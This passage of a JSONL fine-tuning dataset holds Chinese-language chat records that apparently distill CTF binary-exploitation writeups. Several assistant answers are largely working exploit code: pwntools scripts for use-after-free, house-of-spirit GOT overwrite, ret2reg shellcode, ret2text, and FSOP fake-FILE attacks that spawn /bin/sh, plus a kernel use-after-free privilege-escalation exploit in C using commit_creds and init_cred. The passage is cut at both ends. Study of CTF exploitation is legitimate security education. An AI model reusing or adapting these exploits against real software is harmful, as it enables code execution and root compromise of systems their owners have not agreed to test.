num))\n\nelf = ELF('hacknote')\nlibc = ELF('./libc-2.23.so')\nio = process(['/tools/glibc-all-in-one/libs/2.23-0ubuntu3_i386/ld-2.23.so',elf.path], env = {'LD_PRELOAD' : libc.path})\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\ndef add(size, content):\n    ru(\":\")\n    sl(\"1\")\n    ru(\":\")\n    sl(str(size))\n    ru(\":\")\n    sl(content)\n\n\ndef dele(idx):\n    ru(\":\")\n    sl(\"2\")\n    ru(\":\")\n    sl(str(idx))\n\ndef show(idx):\n    ru(\":\")\n    sl(\"3\")\n    ru(\":\")\n    sl(str(idx))\n\ndef quit():\n    ru(\":\")\n    sl(\"4\")\n\nbackdoor=0x8048945\n\n#dbg()\nadd(0x20,b\"aaaa\")\nadd(0x20,b\"bbbb\")\n\ndele(0)\ndele(1)\n\nadd(8,p32(backdoor))\n\nshow(0)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-ec464ff5e69b88a1", "original_line": 12, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/hitcontraining_uaf/exp.py", "split": "train", "split_group_key": "aae3971aa93019b1aef9d09c"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/hitcontraining_uaf/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2a250ff90d87a0130c1e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「unlink源码分析」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### unlink源码分析\n以下代码是 glibc 2.23 的 unlink 源代码。\n\n`av`是我们的`arena`的指针，`p`是我们当前unlink的chunk的指针。\n\n`FD`为下一个chunk，`BK`为上一个chunk。\n\n我们可以看到 2.23 的源码在进行 unlink 操作之前，会首先进行 chunk 检查。即检查当前chunk的前一个chunk的下一个chunk是不是当前chunk，当前chunk的下一个chunk的上一个chunk是不是当前chunk。\n\n\n```c\n#define unlink(AV, P, BK, FD) {                                            \\\n    FD = P->fd;              \\\n    BK = P->bk;              \\\n    //FD为要移除块的fd指针，BK为要移除块的bk指针\n\n    //__builtin_expect是GCC提供的一个优化提示，告诉编译器在常见情况下链表是正确的，而不常见的情况下链表会损害\n    //FD的bk指针如果不等于当前块，或BK的fd指针不等于当前块则链表损害\n    //通过malloc_printerr输出错误信息，然后退出\n\n    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))        \\\n      malloc_printerr (check_action, \"corrupted double-linked list\", P, AV);  \\\n\n    //如果链表没有损坏，继续执行移除操作\n    else {               \\\n        //将FD的前向指针指向BK，然后将BK的后向指向指向FD\n        //这样进行指针重新赋值之后，脱链操作就完成了\n        FD->bk = BK;              \\\n        BK->fd = FD;              \\\n\n//判断当前块p的大小是否在小块堆的范围内。\n        if (!in_smallbin_range (P->size)           \\\n            && __builtin_expect (P->fd_nextsize != NULL, 0)) {         \\\n        //优化指令，告诉编译器这个条件很少发生\n        //检查检查当前块在双向链表中是否完整\n      if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)       \\\n   || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \\\n        malloc_printerr (check_action,          \\\n           \"corrupted double-linked list (not small)\",    \\\n           P, AV);           \\\n\n            //判断FD的fd_nextsize是否为空，表示FD是否是当前链表的尾部\n            if (FD->fd_nextsize == NULL) {           \\\n                //如果是尾部，而且P的fd_nextsize判定为P，则将FD作为链表的唯一元素\n                if (P->fd_nextsize == P)           \\\n                  FD->fd_nextsize = FD->bk_nextsize = FD;        \\\n                else {              \\\n                    //确保双向链接的完整性\n                    FD->fd_nextsize = P->fd_nextsize;         \\\n                    FD->bk_nextsize = P->bk_nextsize;         \\\n                    P->fd_nextsize->bk_nextsize = FD;         \\\n                    P->bk_nextsize->fd_nextsize = FD;         \\\n                  }             \\\n                  //如果FD->nextsize不为空，意味着FD已经位于链表中。\n                  //在这种情况下，需要更新P的前后链接\n              } else {              \\\n                P->fd_nextsize->bk_nextsize = P->bk_nextsize;        \\\n                P->bk_nextsize->fd_nextsize = P->fd_nextsize;        \\\n              }              \\\n          }              \\\n      }               \\\n}\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-c41fb5dde0709533", "original_line": 6, "original_split": "validation", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2a66acb7f1d8b8d0725d", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「3.1 堆布局」。\n资料来源：IO-FILE/house of apple2/2024ylb futureheap/WP.md；主题：2024ylb futureheap WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 3.1 堆布局\n\n申请 4 个 large chunk，其中 `idx 4/5` 作为隔离块，防止与 top chunk 合并：\n\n```python\nbuild(0, 0x520)\nbuild(4, 0x600)\nbuild(1, 0x510)\nbuild(5, 0x600)\n```\n\n释放 `idx 0` 后，再申请一个更大的 `0x530`，使 `idx 0` 进入 largebin：\n\n```python\ndrop(0)\nbuild(2, 0x530)\n```\n\n然后释放 `idx 1`，让它先进入 unsorted bin：\n\n```python\ndrop(1)\n```\n\n此时 `idx 0` 是 largebin 中较大的 chunk，`idx 1` 是 unsorted bin 中较小的 chunk。后续 malloc 时会把 `idx 1` 插入 largebin，触发 largebin attack。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-d953c6e5f14e840c", "original_line": 212, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "split_group_key": "8872b8a958dc5167d996bedd"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2af4f23393faef5b4c8e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/fastbin attack/house of sprit/2014_hack.lu_oreo/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/fastbin attack/house of sprit/2014_hack.lu_oreo/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add`\n- `dbg`\n- `get_sb`\n- `message`\n- `order`\n- `show_rifle`\n\n利用主题关键词：\n- heap/tcache\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`, `0x0804a2a8`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef get_sb():\n    return libc.address + libc.sym['system'], libc.address + next(libc.search(b'/bin/sh\\x00'))\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('oreo')\nio = process([elf.path])\nlibc = ELF('./libc.so.6')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\ndef add(descrip, name):\n    sl('1')\n    #p.recvuntil('Rifle name: ')\n    sl(name)\n    #p.recvuntil('Rifle description: ')\n    #sleep(0.5)\n    sl(descrip)\n\n\ndef show_rifle():\n    sl('2')\n    ru('===================================\\n')\n\n\ndef order():\n    sl('3')\n\n\ndef message(notice):\n    sl('4')\n    #p.recvuntil(\"Enter any notice you'd like to submit with your order: \")\n    sl(notice)\n\n#leak libc base\nname = 27 * 'a' + p32(oreo.got['puts'])\nadd(25 * 'a', name)\nshow_rifle()\nru('===================================\\n')\nru('Description: ')\nputs_addr = u32(p.recvuntil('\\n', drop=True)[:4])\nlg('puts addr: ' + puts_addr)\nlibc_base = puts_addr - libc.symbols['puts']\nsys = libc_base + libc.symbols['system']\nsh = libc_base + next(libc.search('/bin/sh'))\n\n#free fake chunk\n\n# now, oifle_cnt=1, we need set it = 0x40\noifle = 1\nwhile oifle < 0x3f:\n    # set next link=NULL\n    add(25 * 'a', 'a' * 27 + p32(0))\n    oifle += 1\npayload = 'a' * 27 + p32(0x0804a2a8)\n\nadd(25 * 'a', payload)\npayload = 0x20 * '\\x00' + p32(0x40) + p32(0x100)\npayload = payload.ljust(52, 'b')\npayload += p32(0)\npayload = payload.ljust(128, 'c')\nmessage(payload)\norder()\nru('Okay order submitted!\\n')\n\npayload = p32(elf.got['strlen']).ljust(20, 'a')\nadd(payload, 'b' * 20)\nlog.success('system addr: ' + hex(system_addr))\nmessage(p32(sys) + ';/bin/sh\\x00')\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-f3b88377fe47efb2", "original_line": 11, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/fastbin attack/house of sprit/2014_hack.lu_oreo/exp.py", "split": "train", "split_group_key": "1fde428b341fd614b8ba2117"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/fastbin attack/house of sprit/2014_hack.lu_oreo/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2b57df2150e10f308099", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「9. 使用 backdoor 改返回地址并触发返回」。\n资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 9. 使用 backdoor 改返回地址并触发返回\n\n第二次调用 backdoor，写入 16 字节：\n\n```python\nbackdoor(p64(0) + p64(pie + 0x12c6))\n```\n\n这里写的是：\n\n```text\nsaved rbp = 0\nsaved rip = pie + 0x12c6\n```\n\n`pie + 0x12c6` 是 `win` 函数中准备 `/bin/sh` 参数的位置，跳过函数序言，避免栈帧问题：\n\n```asm\n0x12c6: lea rax, [rip + \"/bin/sh\"]\n0x12cd: mov rdi, rax\n0x12d0: call system@plt\n```\n\n最后发送非法菜单选项 `6`：\n\n```python\nsla(\"edit\", \"6\")\n```\n\n主循环进入 `Wrong choice` 分支后返回，触发被覆盖的返回地址，执行：\n\n```c\nsystem(\"/bin/sh\");\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-c5c0609cb2b6c188", "original_line": 143, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "split_group_key": "29400e37059a22e96fca7e93"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2b64c0c082dfef63eae1", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「msgsnd和msgrcv的源码分析」。\n资料来源：Kernel/readme.md；主题：利用msg_msg实现任意地址读写；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### msgsnd和msgrcv的源码分析\n\n内核通过`msgsnd和msgrcv来进行`IPC`通信。内核消息分为两个部分，一个是消息头`msg_msg(0x30)`，以及后面跟着的`消息数据`。整个内核消息的长度是从`kmalloc-64到kmalloc-4096`。\n\n```cpp\n/* one msg_msg structure for each message */\nstruct msg_msg {\n\tstruct list_head m_list;\n\tlong m_type;\n\tsize_t m_ts;\t\t/* message text size */\n\tstruct msg_msgseg *next;\n\tvoid *security;\n\t/* the actual message follows immediately */\n};\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-914d8f70c65b82bb", "original_line": 409, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/readme.md", "split": "train", "split_group_key": "d589209c11be5b5bd758636a"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2c16283d05f5bc2ef098", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/ciscn2017-babydriver/boot.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/ciscn2017-babydriver/boot.sh`\n\n分类：kernel\n\n语言：bash\n\n利用主题关键词：\n- seccomp/orw\n\n训练用代码片段：\n```bash\n#!/bin/bash\n\nqemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep -s -S\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-1c06313fbaf3d8a1", "original_line": 329, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/ciscn2017-babydriver/boot.sh", "split": "train", "split_group_key": "9f2f123d25cd77509f2c084f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/ciscn2017-babydriver/boot.sh", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2c384f6ec6bb15490947", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2reg/rsp_shellcode/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2reg/rsp_shellcode/exp_cli.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\njmp_rsp = next(elf.search(asm('jmp rsp')))\n\npayload = flat(\n    b'A' * 120,\n    jmp_rsp,\n    asm(shellcraft.sh())\n)\nsla(\"RSP!\\n\",payload)\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-f8f06ddd685d31e2", "original_line": 544, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2reg/rsp_shellcode/exp_cli.py", "split": "train", "split_group_key": "aca70b31150aaaed1431bcca"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2reg/rsp_shellcode/exp_cli.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2dd428b9fb54238cb415", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2text/ret2text_x86/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2text/ret2text_x86/exp.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n利用主题关键词：\n- stack/rop\n\n关键常量/偏移样例：\n`0x08049203`\n\n训练用代码片段：\n```python\nfrom pwn import *\n\n\nio=process(\"./ret2text\")\ncontext(log_level=\"debug\",arch=\"i386\")\nsystem=0x08049203\n#gdb.attach(io)\npayload=b'a'*0x44+p32(system)\n#pause()\nio.recv()\nio.sendline(payload)\n\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-c94aa40aaa947c09", "original_line": 562, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2text/ret2text_x86/exp.py", "split": "train", "split_group_key": "9423ffbf4e539bb8444771fe"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2text/ret2text_x86/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2e1e9abc404eb5d5c616", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「FSOP 构造」。\n资料来源：IO-FILE/2025hgame hit list/WP.md；主题：2025 HGame - Hit list Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## FSOP 构造\n\n伪造的 fake FILE / obstack 结构如下：\n\n```python\nfake_file = flat(\n    {\n        0x10: 1,\n        0x18: 0,\n        0x20: 1,\n        0x28: 0,\n        0x30: system_addr,\n        0x40: bin_sh,\n        0x48: 1,\n        0xD0: libc.address + IO_OBSTACK_JUMPS + 0x20,\n        0xD8: victim,\n    },\n    filler=b'\\x00',\n)\nadd(1, p64(0), 0xF0, fake_file)\n```\n\n这里使用的是 obstack 相关 jump table 路径。关键点：\n\n```text\nfake FILE 位于 victim\nfake FILE + 0x30 放 system\nfake FILE + 0x40 放 /bin/sh\nfake FILE + 0xd0 放 _IO_obstack_jumps + 0x20\nfake FILE + 0xd8 放 victim\n```\n\n最后申请到 `_IO_list_all + 0x70` 附近，并把 fake FILE 指针链入 `_IO_list_all`：\n\n```python\nadd(999, b'0', 0xF0, p64(0) * 2 + p64(victim))\n```\n\n由于目标 chunk 落在 `_IO_list_all + 0x70`，写入内容中的 `p64(victim)` 会覆盖到 `_IO_list_all` 链表相关位置，使 exit 时刷新 IO 链表能遍历到伪造结构。\n\n触发：\n\n```python\nmenu(5)\n```\n\n程序调用 `exit(0)`，进入 libc 的 IO 清理流程，最终触发伪造 FILE 的 obstack 调用链，执行：\n\n```text\nsystem('/bin/sh')\n```\n\n---", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-6d27b1aca05d6511", "original_line": 167, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "split_group_key": "510c80802c5c6c353196ef42"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2eee907b14904eb18364", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「2. 泄露 libc base」。\n资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 2. 泄露 libc base\n\n申请一个大 chunk，再申请一个隔离 chunk 防止 top consolidation：\n\n```python\nadd(1, 0x440)\nadd(0, 0x500)\ndele()\nshow()\n```\n\n`0x440` 对应释放后进入 unsorted bin，chunk 中会留下 `main_arena` 相关指针。还原 show 的异或输出后，得到 libc 内部地址：\n\n```python\nfor i in range(6):\n    val = u8(r(1))\n    libc.address += (val ^ (0x99+i)) * 0x100**i\nlibc.address -= 0x21ace0\n```\n\n这里 `0x21ace0` 是本题 libc 中泄露位置到 libc base 的固定偏移。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-67e026e2bae820a1", "original_line": 137, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "split_group_key": "29400e37059a22e96fca7e93"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2f12fce351b81681837e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「静态分析」。\n资料来源：Heap/tcache attack/2025das rcms/wp.md；主题：2025das rcms；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 静态分析\n\n加了沙箱，并申请了一个0x20大小的chunk，并将gift的地址赋值给了这个chunk。\n\n[图片: image-20260322003108366]\n\ngift 函数中给了执行 shellcode 的机会。\n\n[图片: image-20260322003206488]\n\ncreate函数中限制申请 0x430 大小的堆块，并且最多申请 20 个堆块。\n\n[图片: image-20260322003721906]\n\ndelet 函数存在 uaf 漏洞，程序 libc 版本存在 tcache 可以通过 uaf 漏洞打 tcache。\n\n[图片: image-20260322003310913]\n\n再看一下沙箱：\n\n禁掉了 execve，也就是要我们 orw。\n\n```\n❯ seccomp-tools dump ./pwn\n line  CODE  JT   JF      K\n=================================\n 0000: 0x20 0x00 0x00 0x00000004  A = arch\n 0001: 0x15 0x00 0x02 0xc000003e  if (A != ARCH_X86_64) goto 0004\n 0002: 0x20 0x00 0x00 0x00000000  A = sys_number\n 0003: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0005\n 0004: 0x06 0x00 0x00 0x00000000  return KILL\n 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-d9fad76a72b75ddb", "original_line": 123, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/2025das rcms/wp.md", "split": "train", "split_group_key": "59f3ba382481283cea9566eb"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/2025das rcms/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2fa7f4dc0e086f7d6373", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/xhlj2021-easykernel/exp.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/xhlj2021-easykernel/exp.c`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `allocChunk`\n- `deleteChunk`\n- `main`\n- `readChunk`\n- `writeChunk`\n\n利用主题关键词：\n- seccomp/orw\n- kernel\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`, `0x114514`, `0x666666`, `0xbeefdead`, `0x666666666`, `0x999999999`, `0x1919114514`, `0xabcd1919810`, `0xffffffff81000000`, `0xffffffff81089250`, `0xffffffff810c8d40`, `0xffffffff81319d30`, `0xffffffff8135b0f6`, `0xffffffff81c00f30`, `0xffffffff82663300`\n\n训练用代码片段：\n```c\n#include \n#include \n#include \n#include \n#include \n#include \n\n#define COMMIT_CREDS 0xffffffff810c8d40\n#define SEQ_OPS_0 0xffffffff81319d30\n#define INIT_CRED 0xffffffff82663300\n#define POP_RDI_RET 0xffffffff81089250\n#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00f30\n\nlong dev_fd;\n\nstruct op_chunk { /* supported by Genshin Impact here : ) */\n    size_t  idx;\n    size_t  size;\n    void    *buf;\n};\n\nstruct alloc_chunk {\n    size_t  size;\n    void    *buf;\n};\n\nvoid readChunk(size_t idx, size_t size, void *buf)\n{\n    struct op_chunk op = {\n        .idx = idx,\n        .size = size,\n        .buf = buf,\n    };\n    ioctl(dev_fd, 0x40, &op);\n}\n\nvoid writeChunk(size_t idx, size_t size, void *buf)\n{\n    struct op_chunk op = {\n        .idx = idx,\n        .size = size,\n        .buf = buf,\n    };\n    ioctl(dev_fd, 0x50, &op);\n}\n\nvoid deleteChunk(size_t idx)\n{\n    struct op_chunk op = {\n        .idx = idx,\n    };\n    ioctl(dev_fd, 0x30, &op);\n}\n\nvoid allocChunk(size_t size, void *buf)\n{\n    struct alloc_chunk alloc = {\n        .size = size,\n        .buf = buf,\n    };\n    ioctl(dev_fd, 0x20, &alloc);\n}\n\nsize_t buf[0x100];\nsize_t swapgs_restore_regs_and_return_to_usermode;\nsize_t init_cred;\nsize_t pop_rdi_ret;\nlong   seq_fd;\nsize_t kernel_base = 0xffffffff81000000;\nsize_t kernel_offset = 0;\nsize_t commit_creds;\nsize_t gadget;\n\nint main(int argc, char ** argv, char ** envp)\n{\n    dev_fd = open(\"/dev/kerpwn\", O_RDWR);\n\n    puts(\"[*] Allocating...\");\n    allocChunk(0x20, buf);\n    deleteChunk(0);\n    seq_fd = open(\"/proc/self/stat\", O_RDONLY);\n    readChunk(0, 0x20, buf);\n\n    kernel_offset = buf[0] - SEQ_OPS_0;\n    kernel_base += kernel_offset;\n    swapgs_restore_regs_and_return_to_usermode = \\\n                     SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset;\n    init_cred = INIT_CRED + kernel_offset;\n    pop_rdi_ret = POP_RDI_RET + kernel_offset;\n    commit_creds = COMMIT_CREDS + kernel_offset;\n    gadget = 0xffffffff8135b0f6 + kernel_offset;\n\n    // commit_creds(prepare_kernel_cred(NULL))\n    // commit_creds(&init_cred)\n\n    buf[0] = 